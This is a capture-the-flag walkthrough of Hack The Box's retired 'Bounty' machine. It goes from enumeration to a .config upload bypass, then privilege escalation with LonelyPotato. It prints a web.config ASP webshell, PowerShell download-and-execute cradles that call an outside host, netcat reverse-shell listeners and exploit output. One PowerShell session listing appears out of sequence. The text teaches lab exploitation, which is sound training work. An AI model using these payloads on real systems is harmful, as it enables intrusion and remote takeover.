Today we are going to solve another CTF challenge “Bounty”. It is a retired vulnerable lab presented by Hack the Box for helping pentester’s to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Medium
Task: To find user.txt and root.txt file
Let’s start off with our basic nmap command to find out the open ports and services.
C:\Users\jacco>nmap -sC -sV 10.10.10.93 Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-15 14:32 W. Europe Standard Time Nmap scan report for 10.10.10.93 Host is up (0.026s latency). Not shown: 999 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/7.5 |_http-title: Bounty Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 23.93 seconds
When visiting the site, we see nothing but an image of a wizard:
I checked the source code of the page, but unfortunately there wasn’t anything interesting there. Since we have nothing else to go on, I started some dirb scans.
We already know that the server is running Microsoft IIS, so I decided to try an IIS-specific wordlist on the page (the following dirb scans have been condensed for clarity):
I then tried to access these two directories, but was given 403 errors both times.
After doing a bit more research on the aspnet_client folder structure, I discovered that we could work out the system version by fuzzing various system_web directories. As such, I saved the list found here, and used dirb to try them all:
---- Scanning URL: http://10.10.10.93/aspnet_client/system_web/ ----
==> DIRECTORY: http://10.10.10.93/aspnet_client/system_web/2_0_50727/
Thanks to this, we know for sure that the server is running Microsoft IIS 2.0.50727. Whilst this might not be useful, it’s always good to enumerate where we can.
That being said, we still get a 403 when trying to access this new-found directory, and so I swapped over to a bigger wordlist:
george@kali:~/htb/bounty$ dirb http://10.10.10.93/ /usr/share/wordlists/dirb/common.txt -r
PS C:\inetpub\wwwroot> type CS.aspx.cs using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; using System.Web.UI.WebControls.WebParts; using System.Web.UI.HtmlControls; public partial class _Default : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } protected void btnUpload_Click(object sender, EventArgs e) { String path = Server.MapPath("~/UploadedFiles/"); string[] validFileTypes={"config","gif","png","jpg","jpeg","doc","docx","xls","xlsx"}; string ext = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName); bool isValidFile = false; for (int i = 0; i < validFileTypes.Length; i++) { if (ext == "." + validFileTypes[i] ) { isValidFile = true; break; } } if (!isValidFile) { Label1.ForeColor = System.Drawing.Color.Red; Label1.Text = "Invalid File. Please try again"; } else { try { FileUpload1.PostedFile.SaveAs(path + FileUpload1.FileName); Label1.ForeColor = System.Drawing.Color.Green; Label1.Text = "File uploaded successfully."; } catch (Exception ex) { Label1.Text = "File could not be uploaded."; } } } } PS C:\inetpub\wwwroot> dir Directory: C:\inetpub\wwwroot Mode LastWriteTime Length Name ---- ------------- ------ ---- d---- 5/30/2018 4:44 AM aspnet_client d-r-- 3/15/2019 3:51 PM UploadedFiles -a--- 5/30/2018 11:58 PM 1582 CS.aspx.cs -a--- 5/31/2018 6:46 AM 630 iisstart.htm -a--- 5/30/2018 11:35 PM 780732 merlin.jpg -a--- 5/31/2018 12:12 AM 735 transfer.aspx -a--- 5/30/2018 4:14 AM 184946 welcome.png PS C:\inetpub\wwwroot> type transfer.aspx <%@ Page Language="C#" AutoEventWireup="true" CodeFile="CS.aspx.cs" Inherits="_Default" %> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head id="Head1" runat="server"> <title>Secure File Transfer</title> </head> <body> <form id="form1" runat="server"> <div> <asp:FileUpload ID="FileUpload1" runat="server" /> <asp:Button ID="btnUpload" runat="server" Text="Upload" OnClientClick = "return ValidateFile()" OnClick="btnUpload_Click" /> <br /> <asp:Label ID="Label1" runat="server" Text="" /> </div> </form> </body> </html> PS C:\inetpub\wwwroot>
It looks like we’ve finally found something interesting!
I took a look inside of the uploadedfiles directory, but received another 403 error. However, since this directory exists, we can assume that there is a webpage somewhere where we can upload files.
I then started my final dirb scan on the website in an attempt to find this upload page. Seeing as we know that the server is running Microsoft IIS, I decided to scan for only .aspx files, because they’re very common in systems like this.
george@kali:~/htb/bounty$ dirb http://10.10.10.93/ /usr/share/wordlists/dirb/common.txt -r -X .aspx
+ http://10.10.10.93/transfer.aspx (CODE:200|SIZE:974)
It looks like we might have now found the upload page:
Let’s now try uploading test.aspx:
It looks like we’re going to have to either try fuzzing the upload, or enumerate further.
Since fuzzing is never fun, I decided to try and find some more IIS-related file extensions.
Fortunately, I just had to google “microsoft iis file extensions” to find this forum page, which says the following:
We are serving up files for our own application for download from web servers, including IIS. One such file has the .config extension. Turns out that IIS won’t serve this because it thinks it’s a config file of its own.
Let’s now try uploading a .config file, to see if that’s allowed:
It looks like we can successfully upload files! After doing some research on .config files, I came across this article which outlines an easy attack that we can perform (provided that the server executes the file). We’ll do something similar to the technique used in PHP reverse shells, in that we’ll upload the web.config asp file, and the server should interpret whatever we write and show us the output.
We can perform an initial test by uploading a script found on that same website, which should simply add 3 and output the result:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <!-- ASP code comes here! It should not include HTML comment closing tag and double dashes! -->3<!-- -->
Now that our POC command execution has worked, let’s make our web.config file more useful.
My final payload has been bodged together from different scripts found online, with the majority of the “good” code taken from here. So, the webshell looks as follows:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <%@ Language=VBScript %> <% call Server.CreateObject("WSCRIPT.SHELL").Run("cmd.exe /c powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.20/puckieshell443.ps1')") %>
then serve the payload
c:\Python37>python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.93 - - [15/Mar/2019 10:06:45] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
then execute the uploaded payload with
c:\users\jacco\curl http://10.10.10.93/uploadedfiles/web.config
and catch the shell
c:\Users\jacco>nc -lvp 443 listening on [any] 443 ... 10.10.10.93: inverse host lookup failed: h_errno 11004: NO_DATA connect to [10.10.14.20] from (UNKNOWN) [10.10.10.93] 49158: NO_DATA Windows PowerShell running as user BOUNTY$ on BOUNTY Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\windows\system32\inetsrv>whoami bounty\merlin
Now with shell, I can grab user.txt
. Strangely, it’s not present when I look for it:
PS C:\users\merlin\desktop> ls
PS C:\users\merlin\desktop>
It turns out that the file is there, it’s just hidden. If I re-run Get-ChildItem
(or gci
or ls
) with the -Force
flag, it shows up:
PS C:\users\merlin\desktop> gci -force
Directory: C:\users\merlin\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs 5/30/2018 12:22 AM 282 desktop.ini
-a-h- 5/30/2018 11:32 PM 32 user.txt
PS C:\users\merlin\desktop> cat user.txt
e29*****a2f
Escalation Method 1: Lonely Potato
I’ll grab a copy of the the compiled lonelypotato binary and upload it to target, along with a bat script that will start another Nishang shell:
1st serve the payloads
c:\Python37>python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 10.10.10.93 - - [15/Mar/2019 14:58:07] "GET /lp.exe HTTP/1.1" 200 - 10.10.10.93 - - [15/Mar/2019 15:27:58] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -
then run
PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/lp.exe', 'C:\users\merlin\appdata\local\temp\lp.exe')
PS C:\users\merlin\appdata\local\temp> (new-object net.webclient).downloadfile('http://10.10.14.20/rev.bat', 'C:\users\merlin\appdata\local\temp\rev.bat')
PS C:\users\merlin\appdata\local\temp> type rev.bat
powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.10.14.20/Invoke-PowerShellTcp.ps1')
And Now run below, and get a shell:
PS C:\users\merlin\appdata\local\temp> C:\users\merlin\appdata\local\temp\lp.exe * C:\users\merlin\appdata\local\temp\rev.bat
CreateIlok: 0 0
CreateDoc: 0 0
connect sock
start RPC connection
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 136
COM -> bytes sent: 136
COM -> bytes received: 135
RPC -> bytes Sent: 135
RPC -> bytes received: 216
COM -> bytes sent: 216
COM -> bytes received: 158
RPC -> bytes Sent: 158
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1 0
[+] Duped Token type:1
[+] Running C:\users\merlin\appdata\local\temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0
C:\Users\jacco>nc -lvp 53 listening on [any] 53 ... 10.10.10.93: inverse host lookup failed: h_errno 11004: NO_DATA connect to [10.10.14.20] from (UNKNOWN) [10.10.10.93] 49183: NO_DATA Windows PowerShell running as user BOUNTY$ on BOUNTY Copyright (C) 2015 Microsoft Corporation. All rights reserved. PS C:\Windows\system32>whoami nt authority\system PS C:\users\administrator\desktop> type root.txt c83*****5ea
Author : Puckiestyle